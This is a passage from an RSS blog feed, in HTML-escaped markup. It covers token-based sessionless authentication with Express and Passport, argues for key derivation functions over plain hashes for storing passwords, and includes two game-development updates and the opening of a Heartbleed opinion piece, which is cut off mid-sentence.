As you see I'm just storing the token returned by Facebook to be used by the client but you could just as well generate your own token here and store that.
I'm also storing the token in mongodb here but maybe storing the token in redis and pointing to the user's id would be better. Because with this implementation the user won't be able to be logged in from 2 different clients at once.&lt;br /&gt;
(The 2nd time the token will be different and thus overwritten in the DB, invalidating the first client's token).&lt;/p&gt;
&lt;h2 id="making-it-sessionless"&gt;Making it sessionless&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/#making-it-sessionless" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had 2 problems with this.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;After successfully authenticating with facebook, passport wanted to serialize the user and save &lt;a href="http://en.wikipedia.org/wiki/Hir#Invented_pronouns"&gt;hir&lt;/a&gt; in the session.&lt;/li&gt;
&lt;li&gt;How to return the token to the client. In the documentation of passport-facebook it is only shown how to set static success and failure routes:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="language-javascript " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-javascript"&gt;&lt;span&gt;app.&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;get&lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;/auth/facebook/callback&amp;quot;&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;  passport.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;authenticate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;facebook&amp;quot;&lt;/span&gt;&lt;span&gt;, {
&lt;/span&gt;&lt;span&gt;    successRedirect: &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;    failureRedirect: &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;/login&amp;quot;&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;  })
&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I needed a way to add the token to the &lt;em&gt;successRedirect&lt;/em&gt; route.&lt;/p&gt;
&lt;pre class="language-javascript " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-javascript"&gt;&lt;span&gt;app.&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;get&lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;/auth/facebook&amp;quot;&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;  passport.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;authenticate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;facebook&amp;quot;&lt;/span&gt;&lt;span&gt;, { session: &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;false&lt;/span&gt;&lt;span&gt;, scope: [] })
&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;app.&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;get&lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;/auth/facebook/callback&amp;quot;&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;  passport.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;authenticate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;facebook&amp;quot;&lt;/span&gt;&lt;span&gt;, { session: &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;false&lt;/span&gt;&lt;span&gt;, failureRedirect: &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;/&amp;quot; &lt;/span&gt;&lt;span&gt;}),
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;function &lt;/span&gt;&lt;span&gt;(req, res) {
&lt;/span&gt;&lt;span&gt;    res.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;redirect&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;/profile?access_token=&amp;quot; &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;+ &lt;/span&gt;&lt;span&gt;req.user.access_token);
&lt;/span&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that it is very important that the query parameter is called &lt;strong&gt;access_token&lt;/strong&gt;. I couldn't find this &lt;em&gt;anywhere&lt;/em&gt; in the passport-http-bearer docs and had to search to the source code to figure that out.&lt;/p&gt;
&lt;h2 id="authenticating-using-a-token"&gt;Authenticating using a token&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/#authenticating-using-a-token" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The following piece is pretty much a copy from the passport-http-bearer docs.&lt;/p&gt;
&lt;pre class="language-javascript " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-javascript"&gt;&lt;span&gt;passport.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;use&lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;new &lt;/span&gt;&lt;span&gt;BearerStrategy(&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;function &lt;/span&gt;&lt;span&gt;(token, done) {
&lt;/span&gt;&lt;span&gt;    User.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;findOne&lt;/span&gt;&lt;span&gt;({ access_token: token }, &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;function &lt;/span&gt;&lt;span&gt;(err, user) {
&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;if &lt;/span&gt;&lt;span&gt;(err) {
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;return &lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;done&lt;/span&gt;&lt;span&gt;(err);
&lt;/span&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;if &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;!&lt;/span&gt;&lt;span&gt;user) {
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;return &lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;done&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;null&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;false&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;return &lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;done&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;null&lt;/span&gt;&lt;span&gt;, user, { scope: &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;all&amp;quot; &lt;/span&gt;&lt;span&gt;});
&lt;/span&gt;&lt;span&gt;    });
&lt;/span&gt;&lt;span&gt;  })
&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Setting up a route to require a token is done like this:&lt;/p&gt;
&lt;pre class="language-javascript " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-javascript"&gt;&lt;span&gt;app.&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;get&lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;/profile&amp;quot;&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;  passport.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;authenticate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;bearer&amp;quot;&lt;/span&gt;&lt;span&gt;, { session: &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;false &lt;/span&gt;&lt;span&gt;}),
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;function &lt;/span&gt;&lt;span&gt;(req, res) {
&lt;/span&gt;&lt;span&gt;    res.&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;send&lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;LOGGED IN as &amp;quot; &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;+ &lt;/span&gt;&lt;span&gt;req.user.facebookId &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;+ &lt;/span&gt;&lt;span style="color: #183691;"&gt;' - &amp;lt;a href=&amp;quot;/logout&amp;quot;&amp;gt;Log out&amp;lt;/a&amp;gt;'
&lt;/span&gt;&lt;span&gt;    );
&lt;/span&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We're authenticating using &lt;em&gt;bearer&lt;/em&gt; and no session. Easy as that.&lt;/p&gt;
&lt;h2 id="result"&gt;Result&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/#result" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Getting &lt;code&gt;http://localhost:3000/profile&lt;/code&gt; will return a 401 since you're not providing a token (using the &lt;strong&gt;access_token&lt;/strong&gt; query parameter).&lt;br /&gt;
Getting &lt;code&gt;http://localhost:3000/profile?access_token=&amp;lt;foo&amp;gt;&lt;/code&gt;, where &lt;code&gt;&amp;lt;foo&amp;gt;&lt;/code&gt; is the correct token stored in database on the user, will give you the expected result.&lt;br /&gt;
You can also choose to pass the token in the &lt;a href="https://github.com/resurge/passport-http-bearer#making-authenticated-requests"&gt;request body or as a request header&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Don't forget to invalidate the token when implementing the logout handler.&lt;/p&gt;
&lt;h2 id="important"&gt;Important&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/#important" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Because you're sending authentication data with every request it is important that your communications are protected &lt;a href="http://security.stackexchange.com/questions/32478/web-applications-http-dont-get-how-token-based-authentication-is-secure"&gt;using SSL&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="cordova-phonegap"&gt;Cordova &amp;amp; Phonegap&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/#cordova-phonegap" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;All this redirecting won't work cleanly within a phonegap app.
A solution for that can be found &lt;a href="http://coenraets.org/blog/2014/04/facebook-phonegap-cordova-without-plugin/"&gt;here&lt;/a&gt;&lt;br /&gt;
For now you can check the source of his solution how to make it work, but I plan to make an other blog post in the future explaining it in detail. (The solution is to open an in-app browser window and do the redirecting in there)&lt;/p&gt;</description><author>Jeroen Pelgrims</author><pubDate>Sun, 20 Apr 2014 18:04:00 GMT</pubDate><guid isPermaLink="true">https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/</guid></item><item><title>Please stop hashing passwords</title><link>https://blog.tjll.net/please-stop-hashing-passwords/</link><description>&lt;p&gt;
Have I got your attention? It's a sensationalist title, but this is important and developers/administrators &lt;b&gt;still&lt;/b&gt; get it wrong.
&lt;/p&gt;

&lt;p&gt;
Both online and professionally, I encounter technical people still turning to traditional hashing algorithms like SHA or, &lt;a href="https://en.wikipedia.org/wiki/Bruce_Schneier"&gt;Schneier&lt;/a&gt; forbid, MD5 when making decisions about scrambling user credentials. Even &lt;a href="https://programmers.stackexchange.com/questions/226002/why-should-passwords-be-encrypted-if-they-are-being-stored-in-a-secure-database"&gt;this recent question&lt;/a&gt; on Stack &lt;del&gt;Overflow&lt;/del&gt; Exchange has yielded inaccurate answers. While choosing something like SHA-256 with salt isn't necessarily a &lt;i&gt;bad&lt;/i&gt; decision, it's not the &lt;i&gt;right&lt;/i&gt; decision &amp;ndash; which, when it comes to cryptography, &lt;a href="http://article.gmane.org/gmane.os.openbsd.misc/211963"&gt;is critical to maintain the integrity of the system as a whole&lt;/a&gt;.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;
Attention-grabbing title aside, I hope that I can explain why people need to carefully choose their cryptographic primitives when making decisions about securing data at rest.
&lt;/p&gt;

&lt;p class="info"&gt;
&lt;b&gt;Disclaimer&lt;/b&gt;: I am not a cryptographer or mathematician, just a concerned internet citizen. If you have feedback, please feel free to contribute and I'll amend my commentary as needed.
&lt;/p&gt;
&lt;div class="outline-4" id="outline-container-obfuscation-and-hashing"&gt;
&lt;h4 id="obfuscation-and-hashing"&gt;Obfuscation and Hashing&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org482d162"&gt;
&lt;p&gt;
It should be self-evident to see why storing the user password
&lt;/p&gt;

&lt;pre class="example"&gt;
monkeys123
&lt;/pre&gt;

&lt;p&gt;
as
&lt;/p&gt;

&lt;pre class="example"&gt;
monkeys123
&lt;/pre&gt;

&lt;p&gt;
in an application database is a bad idea. The &lt;a href="https://programmers.stackexchange.com/questions/226002/why-should-passwords-be-encrypted-if-they-are-being-stored-in-a-secure-database"&gt;aforementioned Stack Overflow&lt;/a&gt; question actually answers this general problem pretty well, read it if you don't immediately see why this is a &lt;i&gt;bad idea&lt;/i&gt;.
&lt;/p&gt;

&lt;p&gt;
A long time ago the best practice to mitigate this risk was to cryptographically hash passwords with an algorithm like MD5 such that the password
&lt;/p&gt;

&lt;pre class="example"&gt;
monkeys123
&lt;/pre&gt;

&lt;p&gt;
becomes
&lt;/p&gt;

&lt;pre class="example"&gt;
5a44cf4723d8fab4394952e331d6efad
&lt;/pre&gt;

&lt;p&gt;
inside of an application's database. Essentially what we're trying to achieve is a fairly specific set of requirements for our password-scrambling scheme:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;it is infeasible to obtain the original value of the hash&lt;/li&gt;
&lt;li&gt;it is infeasible to find a message that hashes to a certain value&lt;/li&gt;
&lt;li&gt;it takes a long time to calculate (&lt;a href="#why"&gt;why?&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;somewhat less important but still a requirement, hashed values should be as unique as possible to avoid collisions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
As many of these requirements overlap with the strengths of some hashing algorithms, schemes like SHA have become popular and commonplace in web frameworks.
&lt;/p&gt;

&lt;p&gt;
However, a hashing algorithm is an interesting beast. Although the layman's "information security" synapses will fire when cryptographic hashes are mentioned, hashing algorithms have strengths (and weaknesses) very specific to the use case.
&lt;/p&gt;

&lt;p&gt;
It's worthwhile now to briefly dip into the technicalities of cryptographic hashing.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-why"&gt;
&lt;h5 id="why"&gt;Aside: Why Prefer CPU-Intensive Operations?&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-why"&gt;
&lt;p&gt;
This is sort of a weird requirement until you grok the difference between hashing passwords and large files.
&lt;/p&gt;

&lt;p&gt;
When you hash a file, you're looking at possibly megabytes of data to crunch through bit-by-bit in order to come up with a unique fingerprint. That's a &lt;b&gt;lot&lt;/b&gt; of entropy that the hashing algorithm has to work with to create pseudorandom values.
&lt;/p&gt;

&lt;p&gt;
When you hash a password, you're creating a unique fingerprint for a string that is going to top out for the average person at about 10 or 20 characters. Thus, while extremely large, the domain of all possible values for the average password is &lt;i&gt;significantly&lt;/i&gt; smaller than the entropy swirling about in a 10-megabyte file.
&lt;/p&gt;

&lt;p&gt;
Furthermore, attackers can usually rely on a wordlist to serve as a base for password guesses, thereby reducing the unique values that they must brute force even further (it's easier to start guessing at 'password123' rather than 'aaaaaaaaa'.)
&lt;/p&gt;

&lt;p&gt;
What this means for your hashed password is that you don't want to enable a bad actor to be able to rapidly traverse millions of unique values quickly to try and pin down your pre-hashed credential because of this key reason:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;The original hash values come from an &lt;i&gt;extremely&lt;/i&gt; small domain of possible combinations, which makes guessing at input values a viable strategy.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Note that because passwords will tend to always have this attribute (for the foreseeable future), computationally expensive is a requirement we want no matter what cryptographic primitive we choose. As the domain of our unique value is drawn from human-retainable set of characters, we must ensure that computing values is prohibitively expensive for the lengths and complexities that a person can remember.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-hashing-and-you"&gt;
&lt;h4 id="hashing-and-you"&gt;Hashing and You&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-orgb38551e"&gt;
&lt;p&gt;
According to the internet hive mind, the ideal cryptographic hashing function has the following properties: &lt;sup&gt;&lt;a class="footref" href="#fn.hashes" id="fnr.hashes"&gt;1&lt;/a&gt;&lt;/sup&gt;
&lt;/p&gt;

&lt;ol class="org-ol"&gt;
&lt;li&gt;it is easy to compute the hash value for any given message&lt;/li&gt;
&lt;li&gt;it is infeasible to generate a message for has a given hash&lt;/li&gt;
&lt;li&gt;it is infeasible to modify a message without changing the hash&lt;/li&gt;
&lt;li&gt;it is infeasible to find two different messages with the same hash.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
In short, we want to throw a hunk of information into a woodchipper and watch a unique, unguessable fingerprint exit the other end. There are some use cases for which these attributes are exceptionally well-suited:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Checksumming - want to confirm a file's integrity after you've downloaded it? Hash it, and you'll quickly get a bit sequence that will get thrown wildly off if any part of your file differs from the original.&lt;/li&gt;
&lt;li&gt;Uniqueness - as evidenced by the success of &lt;code&gt;git&lt;/code&gt;'s internal storage mechanisms, storing commit blobs as values of a hash key is effective because commits aren't going to be the same, and hashing those commits creates unique hashes.&lt;/li&gt;
&lt;li&gt;Bucketing - possibly using a poor term here, but the idea is to easily create 'databases' for unwieldy, large files by identifying them by unique keys (for example, you can hash all executables in a *nix system's &lt;code&gt;/bin/&lt;/code&gt; and come up with a few-kilobyte text file that can serve as a known good state for pristine executables)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
However, you'll note that these strengths are somewhat at odds with some of the desirable traits for a password scrambling scheme:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Speed - hashing functions should be &lt;b&gt;fast&lt;/b&gt;. Heck, the successor to SHA-2 (&lt;a href="http://keccak.noekeon.org/"&gt;keccak&lt;/a&gt;) explicitly touts the fact that is hashes quickly and is designed to &lt;b&gt;outperform&lt;/b&gt; its predecessors.&lt;/li&gt;
&lt;li&gt;Integrity - while convenient (and necessary) for password hashing to be deterministic, one hugely important trait of a good hashing algorithm is that the output should vary wildly when one bit is off. Although good for storing passwords, this requirement is low on our list, but high on the requirements for a good hashing algorithm.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
You'll also note that because our domain of possible values is limited (necessitating the aforementioned high cost of calculating a hash), &lt;a href="https://en.wikipedia.org/wiki/Rainbow_table"&gt;rainbow tables&lt;/a&gt; have to combated with &lt;a href="https://en.wikipedia.org/wiki/Salt_(cryptography)"&gt;salt&lt;/a&gt;. The fact we're already compensating for the attributes of a hash is a bad sign.
&lt;/p&gt;

&lt;p&gt;
Hopefully it's evident that the intended use case for a hash does not perfectly fit our ideal algorithm for cryptographically scrambling passwords.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-enter-the-key-derivation-function"&gt;
&lt;h4 id="enter-the-key-derivation-function"&gt;Enter The Key Derivation Function&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org3504add"&gt;
&lt;p&gt;
Built upon other cryptographic primitives (including hashing), a &lt;a href="https://en.wikipedia.org/wiki/Key_derivation_function"&gt;key derivation function&lt;/a&gt; (KDF) is meant to combine a non-secret value (read: salt) and a secret value (your password) and derive a value from calculations upon these values. Their intended use case is to take a pass(word/phrase) and derive a set-length key for later use in encryption (for example, handing the password "monkeys123" to a KDF and getting back a 256-bit long value to use in AES.)
&lt;/p&gt;

&lt;p&gt;
Interestingly, this also means that a KDF isn't desgined from the get-go to be a password-scrambling algorithm (in the same way that hashing algorithms aren't), but they are &lt;i&gt;much&lt;/i&gt; better suited for the purpose.
&lt;/p&gt;

&lt;p&gt;
We still meet some crucial requirements for our use case with a KDF, in that:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;return values are fixed length&lt;/li&gt;
&lt;li&gt;original values are unrecoverable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
We also gain this significant attribute from a KDF:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;b&gt;The resultant hash is very expensive to calculate&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
In fact, some KDFs like &lt;a href="https://en.wikipedia.org/wiki/Scrypt"&gt;scrypt&lt;/a&gt; are specifically designed to be prohibitively expensive to calculate.
&lt;/p&gt;

&lt;p&gt;
To give you an idea of just how different these operations can be, I wrote a small ruby program to perform MD5, SHA1, SHA2, SHA3, scrypt, and Bcrypt password digests with increasing iterations. Take a look at the y-axis on the chart below, then enable the bcrypt and scrypt plots and take a look at the scale again..
&lt;/p&gt;



&lt;div id="plot-controls"&gt;&lt;/div&gt;
&lt;div id="plot" style="width: 100%; height: 500px;"&gt;&lt;/div&gt;
&lt;input /&gt;&lt;label&gt;

&lt;p&gt;
&lt;b&gt;Note #1&lt;/b&gt;: These numbers may be inaccurate, but the order of magnitude differences are what is important here. If you want to validate my claims, I've posted a &lt;a href="https://gist.github.com/tylerjl/10802499"&gt;gist&lt;/a&gt; just for you I've been using to generate the flot data.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;Note #2&lt;/b&gt;: You'll note that SHA-3 (or keccak) is slower than its predecessors despite my previous mention of the algorithm. There's a couple reasons this could be. My guess is that the gem I'm using is probably an early, unoptimized implementation, or my script is skewed somehow. If anyone has any thoughts, I'd love to hear them.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;Note #3&lt;/b&gt;: The surprisingly fast performance of pbkdf2 may be due to the fact that I implemented my data-generation script with dumb iterations rather than the parameterized iteration option for the rubygem function, but I didn't delve too far into this odd result.
&lt;/p&gt;

&lt;p&gt;
This script ran over the course of three days generating data on a 2GB Linode instance. The data isn't terribly scientific, but it gets the point across: KDF functions are &lt;i&gt;dramatically&lt;/i&gt; slower than hashing functions, which isn't a nicety of our desired traits, but a &lt;i&gt;requirement&lt;/i&gt;.
&lt;/p&gt;

&lt;p&gt;
That's a pretty drastic difference.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-the-tl-dr"&gt;
&lt;h4 id="the-tl-dr"&gt;The tl;dr&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org3982128"&gt;
&lt;ul class="org-ul"&gt;
&lt;li&gt;Stop associating "hashed" with "secure" when it comes to passwords. If you're storing user credentials MD5-ed without salt, you've put an thumb tack in front of a steamroller - just a minor annoyance that won't offer you any real security. &lt;i&gt;You have to do it right or hashing means nothing&lt;/i&gt;.&lt;/li&gt;
&lt;li&gt;Start relying on key derivation functions for password storage.&lt;sup&gt;&lt;a class="footref" href="#fn.dispute" id="fnr.dispute"&gt;2&lt;/a&gt;&lt;/sup&gt; Are they perfect? Will they be the best practice in five years? Probably not, but they're your best option when rolling your own user credential storage.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://article.gmane.org/gmane.os.openbsd.misc/211963"&gt;Don't sacrifice security for performance.&lt;/a&gt; A slightly slower `malloc` in OpenSSL would have been much preferred, in my opinion, than the disaster that is &lt;a href="http://heartbleed.com/"&gt;Heartbleed&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id="footnotes"&gt;
&lt;h2 class="footnotes"&gt;Footnotes: &lt;/h2&gt;
&lt;div id="text-footnotes"&gt;

&lt;div class="footdef"&gt;&lt;sup&gt;&lt;a class="footnum" href="#fnr.hashes" id="fn.hashes"&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;div class="footpara"&gt;&lt;p class="footpara"&gt;
&lt;a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function"&gt;https://en.wikipedia.org/wiki/Cryptographic_hash_function&lt;/a&gt;
&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="footdef"&gt;&lt;sup&gt;&lt;a class="footnum" href="#fnr.dispute" id="fn.dispute"&gt;2&lt;/a&gt;&lt;/sup&gt; &lt;div class="footpara"&gt;&lt;p class="footpara"&gt;
There's a fair bit of dispute over the ideal KDF for storing passwords, but generally speaking, any of the three covered in this topic are popularly accepted options.
&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;


&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Sun, 20 Apr 2014 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/please-stop-hashing-passwords/</guid></item><item><title>Screenshot Saturday 167</title><link>https://etodd.io/2014/04/19/screenshot-saturday-167/</link><description>&lt;p&gt;With the Kickstarter finished, it's back to our regularly scheduled programming!&lt;/p&gt;
&lt;p&gt;I am in the middle of a major graphics engine upgrade. This whole time I've been using fake HDR. Basically I divide every color by 2 when storing it in a texture, then multiply it by 2 whenever I read it from the texture. It works but you end up with lower color fidelity.&lt;/p&gt;
&lt;p&gt;Now everything is done in full 64-bit floating point textures. Here's an exaggerated before/after shot so you can see the difference. Notice the color banding on the left.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 19 Apr 2014 12:21:32 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/04/19/screenshot-saturday-167/</guid></item><item><title>Final hours</title><link>https://etodd.io/2014/04/19/final-hours/</link><description>&lt;p style="color: #0b1902;"&gt;Here we are folks, counting down the last remaining Kickstarter hours!&lt;/p&gt;
&lt;p style="color: #0b1902;"&gt;I'm happy to announce that regardless of the Kickstarter outcome, &lt;b style="font-style: inherit;"&gt;production of Lemma will continue.&lt;/b&gt;&lt;/p&gt;
&lt;p style="color: #0b1902;"&gt;To be honest, I originally planned to cancel everything if the campaign failed. I figured a failed Kickstarter would be a sign that people aren't interested, and that I should cut my losses (nearly 4 years of work) and move on. But in the past month I realized a few things:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 19 Apr 2014 12:05:55 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/04/19/final-hours/</guid></item><item><title>Why the Heartbleed Bug does not invalidate the spirit of open source</title><link>https://bastian.rieck.me/blog/2014/heartbleed_spirit_open_source/</link><description>&lt;p&gt;&lt;a href="http://heartbleed.com"&gt;The Heartbleed Bug&lt;/a&gt; got a lot of (well-deserved) media attention in the last
few days. While some newspapers focus on the more technical aspects, a large German newspaper, the
&lt;em&gt;ZEIT&lt;/em&gt;, published an article about how the Heartbleed bug manifests an &lt;a href="http://www.zeit.de/digital/internet/2014-04/heartbleed-openssl-open-source-heilsversprechen"&gt;&lt;em&gt;Inconvenient Truth of Open
Source&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The article claims that the &amp;ldquo;promise of salvation&amp;rdquo; made by open source enthusiasts has become very
questionable. This promises is the claim that open source software is &lt;em&gt;always&lt;/em&gt; better than
proprietary software. The author of said article then writes about the &amp;ldquo;hostile feelings&amp;rdquo; of the
open source community towards private companies that attempt to finance their projects. The article
concludes by underlining the need for making the open source development process more professional.
In the author&amp;rsquo;s opinion, this requires more full-time developers, managers, and stable funding.&lt;/p&gt;
&lt;p&gt;I do not concur with this article. First of all, Heartbleed is a very good example of how the open
source community works in times of a crisis. A patch for the fix was created and rolled out for
OpenSSL within &lt;em&gt;two weeks&lt;/em&gt; after the initial discovery! Some companies were able to patch their
systems even before this date (see &lt;a href="http://www.smh.com.au/it-pro/security-it/heartbleed-disclosure-timeline-who-knew-what-and-when-20140415-zqurk.html"&gt;this interesting article of the Sidney Morning
Herald&lt;/a&gt;
for a more detailed time-line). While I am not happy with this bug either, I salute all involved
persons for their quick reaction.&lt;/p&gt;
&lt;p&gt;Compare this with the behaviour of some companies when critical flaws are discovered. Just search
